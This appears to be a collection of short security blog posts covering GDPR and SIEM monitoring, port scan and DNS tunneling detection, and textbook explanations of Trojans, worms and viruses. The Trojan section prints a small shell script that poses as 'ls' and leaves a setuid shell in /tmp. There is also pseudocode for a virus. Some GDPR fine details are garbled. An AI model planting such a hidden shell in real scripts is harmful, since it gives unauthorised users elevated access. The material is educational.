SIEM and General Data Protection Regulation (GDPR)

General Data Protection Regulation (GDPR) was approved by EU Parliament on April 14, 2016 and its enforcement date is marked on May 25, 2018. Any organization not compliant to GDPR will face heavy fines.

GDPR Overview

•    Objective

The EU General Data Protection Regulation (GDPR) is set to replace the Data Protection Directive 95/46/EC. It was designed for data privacy across Europe. The aim of GDPR is to protect all EU citizens from privacy and data breaches. It applies to all companies processing the personal data of data subjects residing in the Union, regardless of the company's location.

• Penalties

Breach of GDPR can be fined up to 4% annual global turnover of Euro 20 million (whichever is greater). It is to be noted that this is the maximum fine that can be imposed for the most serious infringements.

Serious infringement? 

It include not having sufficient customer consent to process data or violating the core of Privacy by Design concepts.

However, there is a tiered approach to fines. For example a company can be fined 2% for not having their records in order (article 28), not notifying the supervising authority and data subject about a breach or not conducting impact assessment.

It is important to note that these rules apply to both controllers and processors -- meaning 'clouds' will not be exempt from GDPR enforcement.

• Data Subject Rights

Breach Notification

Under the GDPR, breach notification will become mandatory in all member states where a data breach is likely to “result in a risk for the rights and freedoms of individuals”.

Notification: within 72 hours of first having become aware of the breach.

Right to Access

Right for data subjects to obtain from the data controller confirmation as to whether or not personal data concerning them is being processed, where and for what purpose. Further, the controller shall provide a copy of the personal data, free of charge, in an electronic format.

Right to be Forgotten

The right to be forgotten entitles the data subject to have the data controller erase his/her personal data, cease further dissemination of the data, and potentially have third parties halt processing of the data.

Data Portability

GDPR introduces data portability - the right for a data subject to receive the personal data concerning them, which they have previously provided in a 'commonly use and machine readable format' and have the right to transmit that data to another controller.

Privacy by Design

Privacy by design calls for the inclusion of data protection from the onset of the designing of systems, rather than an addition.

Data Protection Officers

Must be appointed on the basis of professional qualities and, in particular, expert knowledge on data protection law and practices

May be a staff member or an external service provider

Contact details must be provided to the relevant DPA

Must be provided with appropriate resources to carry out their tasks and maintain their expert knowledge

Must report directly to the highest level of management

Must not carry out any other tasks that could results in a conflict of interest.​

How to monitor GDPR using SIEM?

Now the thing is, you may be using SIEM solution for monitoring all events. The question to ponder upon is, how to ensure timely notification of any events that might indicate breach or matter of concern? Things to monitor can be summarized as below

Overview of you system in General

1. All active user objects
2. All deactivated user objects
3. All Organizational Units
4. All groups and group Policies
5. What are the types of devices you use? like: directory devices, active devices, microsoft devices, non-microsoft, domain controllers, deactivated devices, active servers etc
6. Active directory group types. like global group, universal group etc.

Details of User Activities in Active Directory

1. Members added and removed from groups
2. User who is responsible for any changes that occurs in your infrastructure
3. Affected classes and attributes
4. All successful and failed Authentication using different devices
5. Successful and failed network access
6. Locked and unlocked users statistics
7. Failed authenticated users and their reasons
8. Any update (change, add, delete etc) to your infrastructure. audit, authentication, authorization policy changes

Details of File System Activities

1. Who accessed what files and folders. Successful and failed file access?
2. Who accessed critical files and folders?
3. Who copied what files to cloud application like Dropbox, Google Drive, OneDrive etc.?
4. Who copied what files to removable storage (USB devices)?

Details of Mobile Devices and Activities

1. What kind of mobile devices are being used and by who
2. Is user trying to ActiveSync any files/datas? What is the status of ActiveSync
3. What is the statistics of successful and failed authentication?

Details of Location of your data

• Where are your data located internationally and nationally?

Details of Database Activities

• Types of databases in your organization
• What are the types of actions in databases?
• Users involved in database activities
• Was access and action authorized?

Port Scan Attack - Detection

A port is a place where information flows in a computer i.e. the information goes into and out of a computer. 

1. Port Scan

Port Scan is an act of systematically scanning a computer's port to identify open doors to a computer. It shows all open ports and some additional information like host name, MAC address, HTTP, SMB, FTP, SMTP, SNMP, MySQL, MongoDB services etc.

Port Scanner tool use raw IP packets to find what ports are open on a server or what operating system is running or check if a server has firewall enabled. The legitimate use of port scan is managing networks, however, it can be used for malicious purpose to find a weak access point to break into a computer.

How to detect Port Scan Attack?

• If a remote host scans 10 ports in 0.005 seconds (or default threshold setting)

 2. TCP Port Sweep

TCP Port Sweep is a series of TCP connections to a number of different privileged ports (having port number less than 1024) on a specific host. This is indicative that a reconnaissance sweep of your network may be in progress. This may be the prelude to a more serious attack.

How to detect Port Sweep Attack?

• If a remote host sends TCP packets to 10 different privileged addresses (ports) in 0.005 seconds (or default threshold setting)

Overview of ISO 27002 2013 Information Security Standard

Blockchain to Remove Middleman

Information Security Wheel

Cyber Awareneess

Humans - A Weakest Link to Security

Humans are considered a weakest link in security. Reasons being

1. Humans are involved throughout the development, deployment, and ongoing administration of any solution
2. No matter what physical or logical controls are deployed, humans always finds ways to avoid them, circumvent or subvert them, or disable them

To effectively countermeasure this weakest link following things needs to be considered

1. Security Policies and Procedures for Hiring and Firing. Policies and procedures for various steps like Hiring, Termination. Hiring will require proper policies for Job Description, classification of job, screening and training. While termination or firing requires proper exit interview, NDA (non disclosure agreement), NCA (non competent agreement) etc.
2. Separation of Duties
3. Job Rotation

The Human Factor - Weakest Link in Security

Layers to Information Security

Teams in Information Security

Blue Team: They are the defenders of an organization. They focus on defensive security.

Red Team: They are offenders to an organization. They can do harm. They are the breakers and focus on offensive security.

Purple Team: These are the teams who integrates defensive tactics with offensive results.

Green Team: These are the teams whose focus is to enhance security automation with design and code.

Yellow Team: They are the builders in an organization. They are software developers and an architects.

Orange Team: This team focuses on interaction and education.

White Team: They are the analyst. Compliance monitoring teams whose focus is on logistics and management.

CyberSecurity: How to Detect DNS Tunneling

Detection

• DNS tunnelling can be detected by monitoring the size of DNS request and reply queries. It’s likely that tunnelled traffic will have more than 64 characters in DNS.
• Use of updated IPS and IDS is another detection mechanism.
• Rules must be configured to monitor a large number of DNS TXT in a DNS server.
• Rules must be configured in SIEM to trigger if volume of DNS traffic from a particular source is very high.
• Another method is to use the split horizon DNS concept so that internal addresses are dealt on a specific server; clients should use a proxy server to connect out to the internet, and the proxy server resolves the external DNS for them. Some proxies also have the capability to check the DNS information too.
• DNSTrap is a tool developed to detect DNS tunnelling by using artificial neural network. In this tool, five attributes are used to train an Artificial Neural Network (ANN) to detect tunnels: the domain name, how many packets are sent to a particular domain, the average length of packets to that domain, the average number of distinct characters in the LLD, and the distance between LLD’s.
• Next generation firewalls like Paloalto and Fire Eye have the capability to detect DNS tunnelling.
   
   
  http://resources.infosecinstitute.com/dns-tunnelling/#gref

Information Security: Malicious Software - Trojan Horse

Trojan Horses

A Trojan horse is a useful, or apparently useful, program or command procedure containing hidden code that, when invoked, performs some unwanted or harmful function.

A Trojan horse is a program with an overt (documented or known) effect and a covert (undocumented or unexpected) effect.

cp /bin/sh /tmp/.xxsh

chmod o+s,w+x /tmp/.xxsh

rm ./ls

ls $*

Example: In the above example, the overt purpose is to list the files in a directory. The covert purpose is to create a shell that is setuid to the user executing the script. Hence, this program is a Trojan horse.

Trojan horse programs can be used to accomplish functions indirectly that an unauthorized user could not accomplish directly. For example, to gain access to the files of another user on a shared system, a user could create a Trojan horse program that, when executed, changes the invoking user’s file permissions so that the files are readable by any user. The author could then induce users to run the program by placing it in a common directory and naming it such that it appears to be a useful utility program or application.

When a Trojan is activated on computer, the results can vary. Some Trojans are designed to be more annoying than malicious (like changing your desktop, adding silly active desktop icons) or they can cause serious damage by deleting files and destroying information on our system. Trojans are also known to create a backdoor on our computer that gives malicious users access to our system, possibly allowing confidential or personal information to be compromised. 


Example: The NetBus program allows an attacker to control a Windows NT workstation remotely. The attacker can intercept keystrokes or mouse motions, upload and download files, and act as a system administrator would act. In order for this program to work, the victim Windows NT system must have a server with which the NetBus program can communicate. This requires someone on the victim's system to load and execute a small program that runs the server.

This small program was placed in several small game programs as well as in some other "fun" programs, which could be distributed to Web sites where unsuspecting users would be likely to download them.

Trojan horses can make copies of themselves. One of the earliest Trojan horses was a version of the game animal. When this game was played, it created an extra copy of itself. These copies spread, taking up much room. The program was modified to delete one copy of the earlier version and create two copies of the modified program. Because it spread even more rapidly than the earlier version, the modified version of animal soon completely supplanted the earlier version. After a preset date, each copy of the later version deleted itself after it was played

A propagating Trojan horse (also called a replicating Trojan horse) is a Trojan horse that creates a copy of itself.

Trojan horses fit into one of three models:

• Continuing to perform the function of the original program and additionally performing a separate malicious activity 

• Continuing to perform the function of the original program but modifying the function to perform malicious activity (e.g., a Trojan horse version of a login program that collects passwords) or to disguise other malicious activity (e.g., a Trojan horse version of a process listing program that does not display certain processes that are malicious) 

• Performing a malicious function that completely replaces the function of the original program

 

Information Security: Worms

   

Worms

A worm is a program that can replicate itself and send copies from computer to computer across network connections. Upon arrival, the worm may be activated to replicate and propagate again. In addition to propagation, the worm usually performs some unwanted function. A worm actively seeks out more machines to infect and each machine that is infected serves as an automated launching pad for attacks on other machines.

The concept of a computer worm was introduced in John Brunner’s 1975 SF novel The Shockwave Rider. The first known worm implementation was done in Xerox Palo Alto Labs in the early 1980s. It was nonmalicious, searching for idle systems to use to run a computationally intensive task.

Network worm programs use network connections to spread from system to system. Once active within a system, a network worm can behave as a computer virus or bacteria, or it could implant Trojan horse programs or perform any number of disruptive or destructive actions.

To replicate itself, a network worm uses some sort of network vehicle. Examples include the following:

·      Electronic mail facility: A worm mails a copy of itself to other systems, so that its code is run when the e-mail or an attachment is received or viewed. 


·      Remote execution capability: A worm executes a copy of itself on another system, either using an explicit remote execution facility or by exploiting a program flaw in a network service to subvert its operations. 


·      Remote login capability: A worm logs onto a remote system as a user and then uses commands to copy itself from one system to the other, where it then executes. 


The new copy of the worm program is then run on the remote system where, in addition to any functions that it performs at that system, it continues to spread in the same fashion. 
A network worm exhibits the same characteristics as a computer virus: a dormant phase, a propagation phase, a triggering phase, and an execution phase. The propagation phase generally performs the following functions:

1.     Search for other systems to infect by examining host tables or similar repositories of remote system addresses. 


2.     Establish a connection with a remote system. 


3.     Copy itself to the remote system and cause the copy to be run. 


Example: Internet Worm of 1988 targeted Berkeley, Sun UNIX systems entered the Internet; within hours, it had rendered several thousand computers unusable. It used virus-like attack to inject instructions into running program and run them. To recover from this the machines had to disconnect system from Internet and reboot. To prevent re-infection, several critical programs had to be patched, recompiled, and reinstalled. The only way to determine if the program had suffered other malicious side effects was to disassemble it. Fortunately, the only purpose of this virus turned out to be self-propagation.

Example: The Father Christmas worm was interesting because it was a form of macro worm. It was distributed in 1987 and was designed for IBM networks. It was an electronic letter instructing recipient to save it and run it as a program that drew Christmas tree, printed “Merry Christmas!” It also checked address book, list of previously received email and sent copies to each address. The worm quickly overwhelmed the IBM networks and forced the networks and systems to be shut down. This worm had the characteristics of a macro worm. It was written in a high-level job control language, which the IBM systems interpreted.

Worms with good intent

The Nachi family of worms, for example, tried to download and install patches from Microsoft's website to fix vulnerabilities in the host system — by exploiting those same vulnerabilities. In practice, although this may have made these systems more secure, it generated considerable network traffic, rebooted the machine in the course of patching it, and did its work without the consent of the computer's owner or user.

In 1982, at the Xerox Park research institute, a worm was created to find idle machines. It was used to distribute workloads and was not a malicious worm. So worms can be helpful.
 

Information Security: Viruses

    

A computer virus is a piece of software that can “infect” other programs by modifying them; the modification includes injecting the original program with a routine to make copies of the virus program, which can then go on to infect other programs. A computer virus carries in its instructional code the recipe for making perfect copies of itself. The typical virus becomes embedded in a program on a computer. Then, whenever the infected computer comes into contact with an uninfected piece of software, a fresh copy of the virus passes into the new program. Thus, the infection can be spread from computer to computer by unsuspecting users who either swap disks or send programs to one another over a network. In a network environment, the ability to access applications and system services on other computers provides a perfect culture for the spread of a virus.

A virus can do anything that other programs do. The difference is that a virus attaches itself to another program and executes secretly when the host program is run. Once a virus is executing, it can perform any function, such as erasing files and programs that is allowed by the privileges of the current user.

A computer virus has three parts:

·      Infection mechanism: The means by which a virus spreads, enabling it to replicate. The mechanism is also referred to as the infection vector. 


·      Trigger: The event or condition that determines when the payload is activated
or delivered.

·      Payload: What the virus does, besides spreading. The payload may involve damage or may involve benign but noticeable activity. 


During its lifetime, a typical virus goes through the following four phases: 


·      Dormant phase: The virus is idle. The virus will eventually be activated by some event, such as a date, the presence of another program or file, or the capacity of the disk exceeding some limit. Not all viruses have this stage. 


·      Propagation phase: The virus places a copy of itself into other programs or into certain system areas on the disk. The copy may not be identical to the propagating version; viruses often morph to evade detection. Each infected program will now contain a clone of the virus, which will itself enter a propagation phase. 


·      Triggering phase: The virus is activated to perform the function for which it was intended. As with the dormant phase, the triggering phase can be caused by a variety of system events, including a count of the number of times that this copy of the virus has made copies of itself.

·      Execution phase: The function is performed. The function may be harmless, such as a message on the screen, or damaging, such as the destruction of programs and data files.


The following pseudocode fragment shows how a simple computer virus works.

beginvirus:

       if spread-condition then begin

              for some set of target files do begin

                      if target is not infected then begin

                             determine where to place virus instructions

                             copy instructions from beginvirus to endvirus into target

                             alter target to execute added instructions

                     end;

              end;

       end;

       perform some action(s)

       goto beginning of infected program

endvirus:

A virus classification by target includes the following categories:

·      Boot sector infector: Infects a master boot record or boot record and spreads 
when a system is booted from the disk containing the virus. 


·      File infector: Infects files that the operating system or shell consider to be executable. 


·      Macro virus: Infects files with macrocode that is interpreted by an application.

A virus classification by concealment strategy includes the following categories: 


·      Encrypted virus: A typical approach is as follows. A portion of the virus creates a random encryption key and encrypts the remainder of the virus. The key is stored with the virus. When an infected program is invoked, the virus uses the stored random key to decrypt the virus. When the virus replicates, a different random key is selected. Because the bulk of the virus is encrypted with a different key for each instance, there is no constant bit pattern to observe. 


·      Stealth virus: A form of virus explicitly designed to hide itself from detection 
by antivirus software. Thus, the entire virus, not just a payload is hidden. 


·      Polymorphic virus: A virus that mutates with every infection, making detection by the “signature” of the virus impossible. 


Metamorphic virus: As with a polymorphic virus, a metamorphic virus mutates with every infection. The difference is that a metamorphic virus rewrites itself completely at each iteration, increasing the difficulty of detection. Metamorphic viruses may change their behavior as well as their appearance.